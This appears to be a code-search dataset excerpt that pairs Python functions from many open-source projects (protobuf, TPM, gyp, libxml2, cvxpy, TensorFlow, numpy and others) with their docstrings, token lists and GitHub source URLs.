[ "def", "_AddPropertiesForFields", "(", "descriptor", ",", "cls", ")", ":", "for", "field", "in", "descriptor", ".", "fields", ":", "_AddPropertiesForField", "(", "field", ",", "cls", ")" ]
https://github.com/mingchen/protobuf-ios/blob/0958df34558cd54cb7b6e6ca5c8855bf3d475046/compiler/python/google/protobuf/reflection.py#L334-L337
microsoft/TSS.MSR
0f2516fca2cd9929c31d5450e39301c9bde43688
TSS.Py/src/TpmTypes.py
python
TPM2B_PRIVATE.fromBytes
(buffer)
return TpmBuffer(buffer).createObj(TPM2B_PRIVATE)
Returns new TPM2B_PRIVATE object constructed from its marshaled representation in the given byte buffer
Returns new TPM2B_PRIVATE object constructed from its marshaled representation in the given byte buffer
[ "Returns", "new", "TPM2B_PRIVATE", "object", "constructed", "from", "its", "marshaled", "representation", "in", "the", "given", "byte", "buffer" ]
def fromBytes(buffer): """ Returns new TPM2B_PRIVATE object constructed from its marshaled representation in the given byte buffer """ return TpmBuffer(buffer).createObj(TPM2B_PRIVATE)
[ "def", "fromBytes", "(", "buffer", ")", ":", "return", "TpmBuffer", "(", "buffer", ")", ".", "createObj", "(", "TPM2B_PRIVATE", ")" ]
https://github.com/microsoft/TSS.MSR/blob/0f2516fca2cd9929c31d5450e39301c9bde43688/TSS.Py/src/TpmTypes.py#L8512-L8516
macchina-io/macchina.io
ef24ba0e18379c3dd48fb84e6dbf991101cb8db0
platform/JS/V8/tools/gyp/tools/pretty_gyp.py
python
split_double_braces
(input)
return output
Masks out the quotes and comments, and then splits appropriate lines (lines that matche the double_*_brace re's above) before indenting them below. These are used to split lines which have multiple braces on them, so that the indentation looks prettier when all laid out (e.g. closing braces make a nice diago...
Masks out the quotes and comments, and then splits appropriate lines (lines that matche the double_*_brace re's above) before indenting them below.
[ "Masks", "out", "the", "quotes", "and", "comments", "and", "then", "splits", "appropriate", "lines", "(", "lines", "that", "matche", "the", "double_", "*", "_brace", "re", "s", "above", ")", "before", "indenting", "them", "below", "." ]
def split_double_braces(input): """Masks out the quotes and comments, and then splits appropriate lines (lines that matche the double_*_brace re's above) before indenting them below. These are used to split lines which have multiple braces on them, so that the indentation looks prettier when all laid out (e....
[ "def", "split_double_braces", "(", "input", ")", ":", "double_open_brace_re", "=", "re", ".", "compile", "(", "r'(.*?[\\[\\{\\(,])(\\s*)([\\[\\{\\(])'", ")", "double_close_brace_re", "=", "re", ".", "compile", "(", "r'(.*?[\\]\\}\\)],?)(\\s*)([\\]\\}\\)])'", ")", "masked_...
https://github.com/macchina-io/macchina.io/blob/ef24ba0e18379c3dd48fb84e6dbf991101cb8db0/platform/JS/V8/tools/gyp/tools/pretty_gyp.py#L62-L80
mantidproject/mantid
03deeb89254ec4289edb8771e0188c2090a02f32
qt/python/mantidqt/mantidqt/widgets/sliceviewer/peaksviewer/workspaceselection.py
python
PeaksWorkspaceSelectorModel.names_and_statuses
(self)
return name_status
:return: a list of 2-tuples where each tuple contains (workspace name:str, checked status :bool)
:return: a list of 2-tuples where each tuple contains (workspace name:str, checked status :bool)
[ ":", "return", ":", "a", "list", "of", "2", "-", "tuples", "where", "each", "tuple", "contains", "(", "workspace", "name", ":", "str", "checked", "status", ":", "bool", ")" ]
def names_and_statuses(self): """ :return: a list of 2-tuples where each tuple contains (workspace name:str, checked status :bool) """ ws_provider = self._workspace_provider checked_names = self._checked_names names = ws_provider.getObjectNames() name_status = [] ...
[ "def", "names_and_statuses", "(", "self", ")", ":", "ws_provider", "=", "self", ".", "_workspace_provider", "checked_names", "=", "self", ".", "_checked_names", "names", "=", "ws_provider", ".", "getObjectNames", "(", ")", "name_status", "=", "[", "]", "for", ...
https://github.com/mantidproject/mantid/blob/03deeb89254ec4289edb8771e0188c2090a02f32/qt/python/mantidqt/mantidqt/widgets/sliceviewer/peaksviewer/workspaceselection.py#L30-L47
thalium/icebox
99d147d5b9269222225443ce171b4fd46d8985d4
third_party/virtualbox/src/libs/libxml2-2.9.4/python/libxml2class.py
python
xmlDoc.nodeListGetRawString
(self, list, inLine)
return ret
Builds the string equivalent to the text contained in the Node list made of TEXTs and ENTITY_REFs, contrary to xmlNodeListGetString() this function doesn't do any character encoding handling.
Builds the string equivalent to the text contained in the Node list made of TEXTs and ENTITY_REFs, contrary to xmlNodeListGetString() this function doesn't do any character encoding handling.
[ "Builds", "the", "string", "equivalent", "to", "the", "text", "contained", "in", "the", "Node", "list", "made", "of", "TEXTs", "and", "ENTITY_REFs", "contrary", "to", "xmlNodeListGetString", "()", "this", "function", "doesn", "t", "do", "any", "character", "en...
def nodeListGetRawString(self, list, inLine): """Builds the string equivalent to the text contained in the Node list made of TEXTs and ENTITY_REFs, contrary to xmlNodeListGetString() this function doesn't do any character encoding handling. """ if list is None: list__o = N...
[ "def", "nodeListGetRawString", "(", "self", ",", "list", ",", "inLine", ")", ":", "if", "list", "is", "None", ":", "list__o", "=", "None", "else", ":", "list__o", "=", "list", ".", "_o", "ret", "=", "libxml2mod", ".", "xmlNodeListGetRawString", "(", "sel...
https://github.com/thalium/icebox/blob/99d147d5b9269222225443ce171b4fd46d8985d4/third_party/virtualbox/src/libs/libxml2-2.9.4/python/libxml2class.py#L3657-L3665
cvxpy/cvxpy
5165b4fb750dfd237de8659383ef24b4b2e33aaf
cvxpy/constraints/constraint.py
python
Constraint.dual_value
(self)
NumPy.ndarray : The value of the dual variable.
NumPy.ndarray : The value of the dual variable.
[ "NumPy", ".", "ndarray", ":", "The", "value", "of", "the", "dual", "variable", "." ]
def dual_value(self): """NumPy.ndarray : The value of the dual variable. """ dual_vals = [dv.value for dv in self.dual_variables] if len(dual_vals) == 1: return dual_vals[0] else: return dual_vals
[ "def", "dual_value", "(", "self", ")", ":", "dual_vals", "=", "[", "dv", ".", "value", "for", "dv", "in", "self", ".", "dual_variables", "]", "if", "len", "(", "dual_vals", ")", "==", "1", ":", "return", "dual_vals", "[", "0", "]", "else", ":", "re...
https://github.com/cvxpy/cvxpy/blob/5165b4fb750dfd237de8659383ef24b4b2e33aaf/cvxpy/constraints/constraint.py#L234-L241
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/lib/python3.7/email/_header_value_parser.py
python
get_group
(value)
return group, value
group = display-name ":" [group-list] ";" [CFWS]
group = display-name ":" [group-list] ";" [CFWS]
[ "group", "=", "display", "-", "name", ":", "[", "group", "-", "list", "]", ";", "[", "CFWS", "]" ]
def get_group(value): """ group = display-name ":" [group-list] ";" [CFWS] """ group = Group() token, value = get_display_name(value) if not value or value[0] != ':': raise errors.HeaderParseError("expected ':' at end of group " "display name but found '{}'".format(value)) g...
[ "def", "get_group", "(", "value", ")", ":", "group", "=", "Group", "(", ")", "token", ",", "value", "=", "get_display_name", "(", "value", ")", "if", "not", "value", "or", "value", "[", "0", "]", "!=", "':'", ":", "raise", "errors", ".", "HeaderParse...
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/lib/python3.7/email/_header_value_parser.py#L1909-L1937
BlzFans/wke
b0fa21158312e40c5fbd84682d643022b6c34a93
cygwin/lib/python2.6/decimal.py
python
Decimal.__rsub__
(self, other, context=None)
return other.__sub__(self, context=context)
Return other - self
Return other - self
[ "Return", "other", "-", "self" ]
def __rsub__(self, other, context=None): """Return other - self""" other = _convert_other(other) if other is NotImplemented: return other return other.__sub__(self, context=context)
[ "def", "__rsub__", "(", "self", ",", "other", ",", "context", "=", "None", ")", ":", "other", "=", "_convert_other", "(", "other", ")", "if", "other", "is", "NotImplemented", ":", "return", "other", "return", "other", ".", "__sub__", "(", "self", ",", ...
https://github.com/BlzFans/wke/blob/b0fa21158312e40c5fbd84682d643022b6c34a93/cygwin/lib/python2.6/decimal.py#L1153-L1159
ChromiumWebApps/chromium
c7361d39be8abd1574e6ce8957c8dbddd4c6ccf7
third_party/closure_linter/closure_linter/common/tokenizer.py
python
Tokenizer.__init__
(self, starting_mode, matchers, default_types)
Initialize the tokenizer. Args: starting_mode: Mode to start in. matchers: Dictionary of modes to sequences of matchers that defines the patterns to check at any given time. default_types: Dictionary of modes to types, defining what type to give non-matched text when in the gi...
Initialize the tokenizer.
[ "Initialize", "the", "tokenizer", "." ]
def __init__(self, starting_mode, matchers, default_types): """Initialize the tokenizer. Args: starting_mode: Mode to start in. matchers: Dictionary of modes to sequences of matchers that defines the patterns to check at any given time. default_types: Dictionary of modes to types, d...
[ "def", "__init__", "(", "self", ",", "starting_mode", ",", "matchers", ",", "default_types", ")", ":", "self", ".", "__starting_mode", "=", "starting_mode", "self", ".", "matchers", "=", "matchers", "self", ".", "default_types", "=", "default_types" ]
https://github.com/ChromiumWebApps/chromium/blob/c7361d39be8abd1574e6ce8957c8dbddd4c6ccf7/third_party/closure_linter/closure_linter/common/tokenizer.py#L40-L52
hughperkins/tf-coriander
970d3df6c11400ad68405f22b0c42a52374e94ca
tensorflow/python/framework/ops.py
python
Graph.create_op
(self, op_type, inputs, dtypes, input_types=None, name=None, attrs=None, op_def=None, compute_shapes=True, compute_device=True)
return ret
Creates an `Operation` in this graph. This is a low-level interface for creating an `Operation`. Most programs will not call this method directly, and instead use the Python op constructors, such as `tf.constant()`, which add ops to the default graph. Args: op_type: The `Operation` type to c...
Creates an `Operation` in this graph.
[ "Creates", "an", "Operation", "in", "this", "graph", "." ]
def create_op(self, op_type, inputs, dtypes, input_types=None, name=None, attrs=None, op_def=None, compute_shapes=True, compute_device=True): """Creates an `Operation` in this graph. This is a low-level interface for creating an `Operation`. Most programs will not call this ...
[ "def", "create_op", "(", "self", ",", "op_type", ",", "inputs", ",", "dtypes", ",", "input_types", "=", "None", ",", "name", "=", "None", ",", "attrs", "=", "None", ",", "op_def", "=", "None", ",", "compute_shapes", "=", "True", ",", "compute_device", ...
https://github.com/hughperkins/tf-coriander/blob/970d3df6c11400ad68405f22b0c42a52374e94ca/tensorflow/python/framework/ops.py#L2306-L2431
rsummers11/CADLab
976ed959a0b5208bb4173127a7ef732ac73a9b6f
body_part_regressor/bodypartregressor/compare_diff_layer.py
python
CompareDiffLayer.backward
(self, top, propagate_down, bottom)
This layer does not propagate gradients.
This layer does not propagate gradients.
[ "This", "layer", "does", "not", "propagate", "gradients", "." ]
def backward(self, top, propagate_down, bottom): """This layer does not propagate gradients.""" top_diff = top[0].diff out = self.Ab.dot(top_diff) #print out bottom[0].diff[...] = out.reshape(*bottom[0].diff.shape)
[ "def", "backward", "(", "self", ",", "top", ",", "propagate_down", ",", "bottom", ")", ":", "top_diff", "=", "top", "[", "0", "]", ".", "diff", "out", "=", "self", ".", "Ab", ".", "dot", "(", "top_diff", ")", "#print out", "bottom", "[", "0", "]", ...
https://github.com/rsummers11/CADLab/blob/976ed959a0b5208bb4173127a7ef732ac73a9b6f/body_part_regressor/bodypartregressor/compare_diff_layer.py#L69-L74
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/windows/Lib/logging/__init__.py
python
Formatter.formatStack
(self, stack_info)
return stack_info
This method is provided as an extension point for specialized formatting of stack information. The input data is a string as returned from a call to :func:`traceback.print_stack`, but with the last trailing newline removed. The base implementation just returns the value passed ...
This method is provided as an extension point for specialized formatting of stack information.
[ "This", "method", "is", "provided", "as", "an", "extension", "point", "for", "specialized", "formatting", "of", "stack", "information", "." ]
def formatStack(self, stack_info): """ This method is provided as an extension point for specialized formatting of stack information. The input data is a string as returned from a call to :func:`traceback.print_stack`, but with the last trailing newline removed. ...
[ "def", "formatStack", "(", "self", ",", "stack_info", ")", ":", "return", "stack_info" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/windows/Lib/logging/__init__.py#L582-L593
hfinkel/llvm-project-cxxjit
91084ef018240bbb8e24235ff5cd8c355a9c1a1e
llvm/utils/benchmark/tools/gbench/report.py
python
find_longest_name
(benchmark_list)
return longest_name
Return the length of the longest benchmark name in a given list of benchmark JSON objects
Return the length of the longest benchmark name in a given list of benchmark JSON objects
[ "Return", "the", "length", "of", "the", "longest", "benchmark", "name", "in", "a", "given", "list", "of", "benchmark", "JSON", "objects" ]
def find_longest_name(benchmark_list): """ Return the length of the longest benchmark name in a given list of benchmark JSON objects """ longest_name = 1 for bc in benchmark_list: if len(bc['name']) > longest_name: longest_name = len(bc['name']) return longest_name
[ "def", "find_longest_name", "(", "benchmark_list", ")", ":", "longest_name", "=", "1", "for", "bc", "in", "benchmark_list", ":", "if", "len", "(", "bc", "[", "'name'", "]", ")", ">", "longest_name", ":", "longest_name", "=", "len", "(", "bc", "[", "'name...
https://github.com/hfinkel/llvm-project-cxxjit/blob/91084ef018240bbb8e24235ff5cd8c355a9c1a1e/llvm/utils/benchmark/tools/gbench/report.py#L48-L57
cztomczak/cefpython
5679f28cec18a57a56e298da2927aac8d8f83ad6
tools/build.py
python
compile_cpp_projects_with_setuptools
()
Use setuptools to build static libraries / executable.
Use setuptools to build static libraries / executable.
[ "Use", "setuptools", "to", "build", "static", "libraries", "/", "executable", "." ]
def compile_cpp_projects_with_setuptools(): """Use setuptools to build static libraries / executable.""" compile_cpp_projects = os.path.join(TOOLS_DIR, "build_cpp_projects.py") retcode = subprocess.call([sys.executable, compile_cpp_projects]) if retcode != 0: print("[build.py] ERROR: Failed to c...
[ "def", "compile_cpp_projects_with_setuptools", "(", ")", ":", "compile_cpp_projects", "=", "os", ".", "path", ".", "join", "(", "TOOLS_DIR", ",", "\"build_cpp_projects.py\"", ")", "retcode", "=", "subprocess", ".", "call", "(", "[", "sys", ".", "executable", ","...
https://github.com/cztomczak/cefpython/blob/5679f28cec18a57a56e298da2927aac8d8f83ad6/tools/build.py#L403-L412
baidu/bigflow
449245016c0df7d1252e85581e588bfc60cefad3
bigflow_python/python/bigflow/pcollection.py
python
PCollection.subtract
(self, other)
return transforms.subtract(self, other)
返回不存在另一个PCollection中的元素,相当于做容器减法 Args: other (PCollection): 作为减数的PCollection Returns: PCollection: 表示减法结果的PCollection >>> a = _pipeline.parallelize([1, 2, 3, 3, 4]) >>> b = _pipeline.parallelize([1, 2, 5]) >>> a.subtract(b).get() [3, 3, 4]
返回不存在另一个PCollection中的元素,相当于做容器减法
[ "返回不存在另一个PCollection中的元素,相当于做容器减法" ]
def subtract(self, other): """ 返回不存在另一个PCollection中的元素,相当于做容器减法 Args: other (PCollection): 作为减数的PCollection Returns: PCollection: 表示减法结果的PCollection >>> a = _pipeline.parallelize([1, 2, 3, 3, 4]) >>> b = _pipeline.parallelize([1, 2, 5]) >>...
[ "def", "subtract", "(", "self", ",", "other", ")", ":", "return", "transforms", ".", "subtract", "(", "self", ",", "other", ")" ]
https://github.com/baidu/bigflow/blob/449245016c0df7d1252e85581e588bfc60cefad3/bigflow_python/python/bigflow/pcollection.py#L602-L618
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/msw/_core.py
python
Image.CountColours
(*args, **kwargs)
return _core_.Image_CountColours(*args, **kwargs)
CountColours(self, unsigned long stopafter=(unsigned long) -1) -> unsigned long
CountColours(self, unsigned long stopafter=(unsigned long) -1) -> unsigned long
[ "CountColours", "(", "self", "unsigned", "long", "stopafter", "=", "(", "unsigned", "long", ")", "-", "1", ")", "-", ">", "unsigned", "long" ]
def CountColours(*args, **kwargs): """CountColours(self, unsigned long stopafter=(unsigned long) -1) -> unsigned long""" return _core_.Image_CountColours(*args, **kwargs)
[ "def", "CountColours", "(", "*", "args", ",", "*", "*", "kwargs", ")", ":", "return", "_core_", ".", "Image_CountColours", "(", "*", "args", ",", "*", "*", "kwargs", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/msw/_core.py#L3605-L3607
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/msw/_core.py
python
Window.GetId
(*args, **kwargs)
return _core_.Window_GetId(*args, **kwargs)
GetId(self) -> int Returns the identifier of the window. Each window has an integer identifier. If the application has not provided one (or the default Id -1 is used) then an unique identifier with a negative value will be generated.
GetId(self) -> int
[ "GetId", "(", "self", ")", "-", ">", "int" ]
def GetId(*args, **kwargs): """ GetId(self) -> int Returns the identifier of the window. Each window has an integer identifier. If the application has not provided one (or the default Id -1 is used) then an unique identifier with a negative value will be generated. ...
[ "def", "GetId", "(", "*", "args", ",", "*", "*", "kwargs", ")", ":", "return", "_core_", ".", "Window_GetId", "(", "*", "args", ",", "*", "*", "kwargs", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/msw/_core.py#L9265-L9274
benoitsteiner/tensorflow-opencl
cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5
tensorflow/tools/ci_build/update_version.py
python
main
()
This script updates all instances of version in the tensorflow directory. Requirements: version: The version tag OR nightly: Create a nightly tag with current date Raises: RuntimeError: If the script is not being run from tf source dir
This script updates all instances of version in the tensorflow directory.
[ "This", "script", "updates", "all", "instances", "of", "version", "in", "the", "tensorflow", "directory", "." ]
def main(): """This script updates all instances of version in the tensorflow directory. Requirements: version: The version tag OR nightly: Create a nightly tag with current date Raises: RuntimeError: If the script is not being run from tf source dir """ parser = argparse.ArgumentParser(des...
[ "def", "main", "(", ")", ":", "parser", "=", "argparse", ".", "ArgumentParser", "(", "description", "=", "\"Cherry picking automation.\"", ")", "group", "=", "parser", ".", "add_mutually_exclusive_group", "(", "required", "=", "True", ")", "# Arg information", "gr...
https://github.com/benoitsteiner/tensorflow-opencl/blob/cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5/tensorflow/tools/ci_build/update_version.py#L307-L357
wlanjie/AndroidFFmpeg
7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf
tools/fdk-aac-build/x86/toolchain/lib/python2.7/calendar.py
python
Calendar.yeardayscalendar
(self, year, width=3)
return [months[i:i+width] for i in range(0, len(months), width) ]
Return the data for the specified year ready for formatting (similar to yeardatescalendar()). Entries in the week lists are day numbers. Day numbers outside this month are zero.
Return the data for the specified year ready for formatting (similar to yeardatescalendar()). Entries in the week lists are day numbers. Day numbers outside this month are zero.
[ "Return", "the", "data", "for", "the", "specified", "year", "ready", "for", "formatting", "(", "similar", "to", "yeardatescalendar", "()", ")", ".", "Entries", "in", "the", "week", "lists", "are", "day", "numbers", ".", "Day", "numbers", "outside", "this", ...
def yeardayscalendar(self, year, width=3): """ Return the data for the specified year ready for formatting (similar to yeardatescalendar()). Entries in the week lists are day numbers. Day numbers outside this month are zero. """ months = [ self.monthdayscalend...
[ "def", "yeardayscalendar", "(", "self", ",", "year", ",", "width", "=", "3", ")", ":", "months", "=", "[", "self", ".", "monthdayscalendar", "(", "year", ",", "i", ")", "for", "i", "in", "range", "(", "January", ",", "January", "+", "12", ")", "]",...
https://github.com/wlanjie/AndroidFFmpeg/blob/7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf/tools/fdk-aac-build/x86/toolchain/lib/python2.7/calendar.py#L246-L256
InsightSoftwareConsortium/ITK
87acfce9a93d928311c38bc371b666b515b9f19d
Modules/ThirdParty/pygccxml/src/pygccxml/declarations/calldef.py
python
calldef_t.has_extern
(self)
return self._has_extern
Was this callable declared as "extern"? @type: bool
Was this callable declared as "extern"?
[ "Was", "this", "callable", "declared", "as", "extern", "?" ]
def has_extern(self): """Was this callable declared as "extern"? @type: bool""" return self._has_extern
[ "def", "has_extern", "(", "self", ")", ":", "return", "self", ".", "_has_extern" ]
https://github.com/InsightSoftwareConsortium/ITK/blob/87acfce9a93d928311c38bc371b666b515b9f19d/Modules/ThirdParty/pygccxml/src/pygccxml/declarations/calldef.py#L294-L297
pmq20/node-packer
12c46c6e44fbc14d9ee645ebd17d5296b324f7e0
current/tools/gyp/pylib/gyp/generator/cmake.py
python
CreateCMakeTargetBaseName
(qualified_target)
return StringToCMakeTargetName(cmake_target_base_name)
This is the name we would like the target to have.
This is the name we would like the target to have.
[ "This", "is", "the", "name", "we", "would", "like", "the", "target", "to", "have", "." ]
def CreateCMakeTargetBaseName(qualified_target): """This is the name we would like the target to have.""" _, gyp_target_name, gyp_target_toolset = ( gyp.common.ParseQualifiedTarget(qualified_target)) cmake_target_base_name = gyp_target_name if gyp_target_toolset and gyp_target_toolset != 'target': cma...
[ "def", "CreateCMakeTargetBaseName", "(", "qualified_target", ")", ":", "_", ",", "gyp_target_name", ",", "gyp_target_toolset", "=", "(", "gyp", ".", "common", ".", "ParseQualifiedTarget", "(", "qualified_target", ")", ")", "cmake_target_base_name", "=", "gyp_target_na...
https://github.com/pmq20/node-packer/blob/12c46c6e44fbc14d9ee645ebd17d5296b324f7e0/current/tools/gyp/pylib/gyp/generator/cmake.py#L557-L564
wlanjie/AndroidFFmpeg
7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf
tools/fdk-aac-build/armeabi-v7a/toolchain/lib/python2.7/pickletools.py
python
dis
(pickle, out=None, memo=None, indentlevel=4)
Produce a symbolic disassembly of a pickle. 'pickle' is a file-like object, or string, containing a (at least one) pickle. The pickle is disassembled from the current position, through the first STOP opcode encountered. Optional arg 'out' is a file-like object to which the disassembly is printed....
Produce a symbolic disassembly of a pickle.
[ "Produce", "a", "symbolic", "disassembly", "of", "a", "pickle", "." ]
def dis(pickle, out=None, memo=None, indentlevel=4): """Produce a symbolic disassembly of a pickle. 'pickle' is a file-like object, or string, containing a (at least one) pickle. The pickle is disassembled from the current position, through the first STOP opcode encountered. Optional arg 'out' is...
[ "def", "dis", "(", "pickle", ",", "out", "=", "None", ",", "memo", "=", "None", ",", "indentlevel", "=", "4", ")", ":", "# Most of the hair here is for sanity checks, but most of it is needed", "# anyway to detect when a protocol 0 POP takes a MARK off the stack", "# (which i...
https://github.com/wlanjie/AndroidFFmpeg/blob/7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf/tools/fdk-aac-build/armeabi-v7a/toolchain/lib/python2.7/pickletools.py#L1891-L2025
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/Blast/houdini/python2.7libs/blastExport/slice.py
python
Slice.physicsDataGenericComponentWrapperId
(self, value)
:return: str
:return: str
[ ":", "return", ":", "str" ]
def physicsDataGenericComponentWrapperId(self, value): """ :return: str """ if self.__physicsDataGenericComponentWrapperId == value: return self.__physicsDataGenericComponentWrapperId = value
[ "def", "physicsDataGenericComponentWrapperId", "(", "self", ",", "value", ")", ":", "if", "self", ".", "__physicsDataGenericComponentWrapperId", "==", "value", ":", "return", "self", ".", "__physicsDataGenericComponentWrapperId", "=", "value" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/Blast/houdini/python2.7libs/blastExport/slice.py#L225-L232
wlanjie/AndroidFFmpeg
7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf
tools/fdk-aac-build/armeabi/toolchain/lib/python2.7/distutils/cmd.py
python
Command.run
(self)
A command's raison d'etre: carry out the action it exists to perform, controlled by the options initialized in 'initialize_options()', customized by other commands, the setup script, the command-line, and config files, and finalized in 'finalize_options()'. All terminal output and files...
A command's raison d'etre: carry out the action it exists to perform, controlled by the options initialized in 'initialize_options()', customized by other commands, the setup script, the command-line, and config files, and finalized in 'finalize_options()'. All terminal output and files...
[ "A", "command", "s", "raison", "d", "etre", ":", "carry", "out", "the", "action", "it", "exists", "to", "perform", "controlled", "by", "the", "options", "initialized", "in", "initialize_options", "()", "customized", "by", "other", "commands", "the", "setup", ...
def run(self): """A command's raison d'etre: carry out the action it exists to perform, controlled by the options initialized in 'initialize_options()', customized by other commands, the setup script, the command-line, and config files, and finalized in 'finalize_options()'. All...
[ "def", "run", "(", "self", ")", ":", "raise", "RuntimeError", ",", "\"abstract method -- subclass %s must override\"", "%", "self", ".", "__class__" ]
https://github.com/wlanjie/AndroidFFmpeg/blob/7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf/tools/fdk-aac-build/armeabi/toolchain/lib/python2.7/distutils/cmd.py#L167-L178
CaoWGG/TensorRT-CenterNet
f949252e37b51e60f873808f46d3683f15735e79
onnx-tensorrt/third_party/onnx/third_party/pybind11/tools/clang/cindex.py
python
Cursor.get_children
(self)
return iter(children)
Return an iterator for accessing the children of this cursor.
Return an iterator for accessing the children of this cursor.
[ "Return", "an", "iterator", "for", "accessing", "the", "children", "of", "this", "cursor", "." ]
def get_children(self): """Return an iterator for accessing the children of this cursor.""" # FIXME: Expose iteration from CIndex, PR6125. def visitor(child, parent, children): # FIXME: Document this assertion in API. # FIXME: There should just be an isNull method. ...
[ "def", "get_children", "(", "self", ")", ":", "# FIXME: Expose iteration from CIndex, PR6125.", "def", "visitor", "(", "child", ",", "parent", ",", "children", ")", ":", "# FIXME: Document this assertion in API.", "# FIXME: There should just be an isNull method.", "assert", "...
https://github.com/CaoWGG/TensorRT-CenterNet/blob/f949252e37b51e60f873808f46d3683f15735e79/onnx-tensorrt/third_party/onnx/third_party/pybind11/tools/clang/cindex.py#L1643-L1659
hanpfei/chromium-net
392cc1fa3a8f92f42e4071ab6e674d8e0482f83f
third_party/catapult/telemetry/third_party/pyserial/serial/serialutil.py
python
FileLike.readlines
(self, sizehint=None, eol=LF)
return lines
read a list of lines, until timeout. sizehint is ignored.
read a list of lines, until timeout. sizehint is ignored.
[ "read", "a", "list", "of", "lines", "until", "timeout", ".", "sizehint", "is", "ignored", "." ]
def readlines(self, sizehint=None, eol=LF): """read a list of lines, until timeout. sizehint is ignored.""" if self.timeout is None: raise ValueError("Serial port MUST have enabled timeout for this function!") leneol = len(eol) lines = [] while True: ...
[ "def", "readlines", "(", "self", ",", "sizehint", "=", "None", ",", "eol", "=", "LF", ")", ":", "if", "self", ".", "timeout", "is", "None", ":", "raise", "ValueError", "(", "\"Serial port MUST have enabled timeout for this function!\"", ")", "leneol", "=", "le...
https://github.com/hanpfei/chromium-net/blob/392cc1fa3a8f92f42e4071ab6e674d8e0482f83f/third_party/catapult/telemetry/third_party/pyserial/serial/serialutil.py#L179-L194
mindspore-ai/mindspore
fb8fd3338605bb34fa5cea054e535a8b1d753fab
mindspore/python/mindspore/numpy/math_ops.py
python
_count_nonnan
(a, axis, keepdims=False)
return _reduce_sum_default(nonnan_mask, axis)
Counts the number of elements excluding NaNs.
Counts the number of elements excluding NaNs.
[ "Counts", "the", "number", "of", "elements", "excluding", "NaNs", "." ]
def _count_nonnan(a, axis, keepdims=False): """Counts the number of elements excluding NaNs.""" nonnan_mask = F.select(_isnan(a), zeros(F.shape(a), F.dtype(a)), ones(F.shape(a), F.dtype(a))) if keepdims: return _reduce_sum_keepdims(nonnan_mask, axis) return _reduce_sum_default(nonnan_mask, axis)
[ "def", "_count_nonnan", "(", "a", ",", "axis", ",", "keepdims", "=", "False", ")", ":", "nonnan_mask", "=", "F", ".", "select", "(", "_isnan", "(", "a", ")", ",", "zeros", "(", "F", ".", "shape", "(", "a", ")", ",", "F", ".", "dtype", "(", "a",...
https://github.com/mindspore-ai/mindspore/blob/fb8fd3338605bb34fa5cea054e535a8b1d753fab/mindspore/python/mindspore/numpy/math_ops.py#L2631-L2636
lemenkov/libyuv
5b3351bd07e83f9f9a4cb6629561331ecdb7c546
tools_libyuv/get_landmines.py
python
print_landmines
()
ALL LANDMINES ARE EMITTED FROM HERE.
ALL LANDMINES ARE EMITTED FROM HERE.
[ "ALL", "LANDMINES", "ARE", "EMITTED", "FROM", "HERE", "." ]
def print_landmines(): """ ALL LANDMINES ARE EMITTED FROM HERE. """ # DO NOT add landmines as part of a regular CL. Landmines are a last-effort # bandaid fix if a CL that got landed has a build dependency bug and all bots # need to be cleaned up. If you're writing a new CL that causes build # dependency p...
[ "def", "print_landmines", "(", ")", ":", "# DO NOT add landmines as part of a regular CL. Landmines are a last-effort", "# bandaid fix if a CL that got landed has a build dependency bug and all bots", "# need to be cleaned up. If you're writing a new CL that causes build", "# dependency problems, fi...
https://github.com/lemenkov/libyuv/blob/5b3351bd07e83f9f9a4cb6629561331ecdb7c546/tools_libyuv/get_landmines.py#L18-L29
FreeCAD/FreeCAD
ba42231b9c6889b89e064d6d563448ed81e376ec
src/Mod/Draft/draftguitools/gui_dimensions.py
python
Dimension.createObject
(self)
Create the actual object in the current document.
Create the actual object in the current document.
[ "Create", "the", "actual", "object", "in", "the", "current", "document", "." ]
def createObject(self): """Create the actual object in the current document.""" Gui.addModule("Draft") if self.angledata: # Angle dimension, with two angles provided self.create_angle_dimension() elif self.link and not self.arcmode: # Linear dimension...
[ "def", "createObject", "(", "self", ")", ":", "Gui", ".", "addModule", "(", "\"Draft\"", ")", "if", "self", ".", "angledata", ":", "# Angle dimension, with two angles provided", "self", ".", "create_angle_dimension", "(", ")", "elif", "self", ".", "link", "and",...
https://github.com/FreeCAD/FreeCAD/blob/ba42231b9c6889b89e064d6d563448ed81e376ec/src/Mod/Draft/draftguitools/gui_dimensions.py#L312-L346
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemMetric/v1/AWS/common-code/Lib/numpy/ma/core.py
python
reshape
(a, new_shape, order='C')
Returns an array containing the same data with a new shape. Refer to `MaskedArray.reshape` for full documentation. See Also -------- MaskedArray.reshape : equivalent function
Returns an array containing the same data with a new shape.
[ "Returns", "an", "array", "containing", "the", "same", "data", "with", "a", "new", "shape", "." ]
def reshape(a, new_shape, order='C'): """ Returns an array containing the same data with a new shape. Refer to `MaskedArray.reshape` for full documentation. See Also -------- MaskedArray.reshape : equivalent function """ # We can't use 'frommethod', it whine about some parameters. Dmm...
